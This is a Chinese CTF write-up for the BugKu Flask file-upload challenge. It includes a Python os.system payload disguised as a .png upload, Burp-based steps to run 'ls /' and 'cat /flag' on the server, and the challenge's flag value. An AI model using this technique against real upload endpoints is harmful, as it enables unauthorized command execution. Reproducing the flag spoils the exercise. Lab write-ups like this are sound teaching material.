BugKu-Web-Flask_FileUpload(模板注入与文件上传)

Flask

Flask是一个使用Python编写的轻量级Web应用框架。它是一个微型框架,因为它的核心非常简单,但可以通过扩展来增加其他功能。Flask的核心组件包括Werkzeug,一个WSGI工具箱,以及Jinja2,一个模板引擎。

Flask使用BSD授权,这意味着它遵循开源许可证,允许用户自由地使用、修改和分发。Flask也被称为"microframework",因为它使用简单的核心,用扩展来增加其他功能。与一些其他框架相比,Flask更加灵活、轻便和安全,而且容易上手。

在开发Web应用程序时,Flask提供了一个构建块,允许开发人员根据需要自由地选择和组合不同的组件。这使得开发人员能够更好地控制应用程序的结构和功能。

Flask没有默认使用的数据库或窗体验证工具,这意味着开发人员需要自行选择这些组件。这为开发人员提供了更大的灵活性,可以根据应用程序的需求选择最适合的组件。

总的来说,Flask是一个轻量级的Web应用框架,具有简单性和灵活性,适合小型团队在短时间内实现功能丰富的中小型网站或Web服务。

题目环境

模块注入还可以,但是第一次见模块注入与文件上传相结合,我也是感到颇为新奇。

使用burpsuite工具

需要用来发送数据和接收数据

首先编写python脚本文件

python 复制代码
import os
#调用os模块
os.system('ls /')
#调用os模块中的system外部执行命令,ls / 列出根目录下的所有目录和文件

将次文件命名为png格式

首先使用火狐打开题目

顺便打开burp准备抓包


Repeater放包
Send

OK,到此也是发现了flag的踪迹

查看flag内容

在数据包里面改外部执行命令

cat /flag 查看f根目录下flag的内容

Send

拿下flag:
flag{a6264dc026eee12800ee179de0f87807}

相关推荐
博观而约取39 分钟前
Django ORM 1. 创建模型(Model)
数据库·python·django
2501_915909061 小时前
调试 WebView 旧资源缓存问题:一次从偶发到复现的实战经历
websocket·网络协议·tcp/ip·http·网络安全·https·udp
精灵vector2 小时前
构建专家级SQL Agent交互
python·aigc·ai编程
Zonda要好好学习2 小时前
Python入门Day2
开发语言·python
Vertira2 小时前
pdf 合并 python实现(已解决)
前端·python·pdf
太凉2 小时前
Python之 sorted() 函数的基本语法
python
galaxylove2 小时前
Gartner发布最新指南:企业要构建防御性强且敏捷的网络安全计划以平衡安全保障与业务运营
网络·安全·web安全
项目題供诗3 小时前
黑马python(二十四)
开发语言·python
晓13133 小时前
OpenCV篇——项目(二)OCR文档扫描
人工智能·python·opencv·pycharm·ocr
是小王同学啊~3 小时前
(LangChain)RAG系统链路向量检索器之Retrievers(五)
python·算法·langchain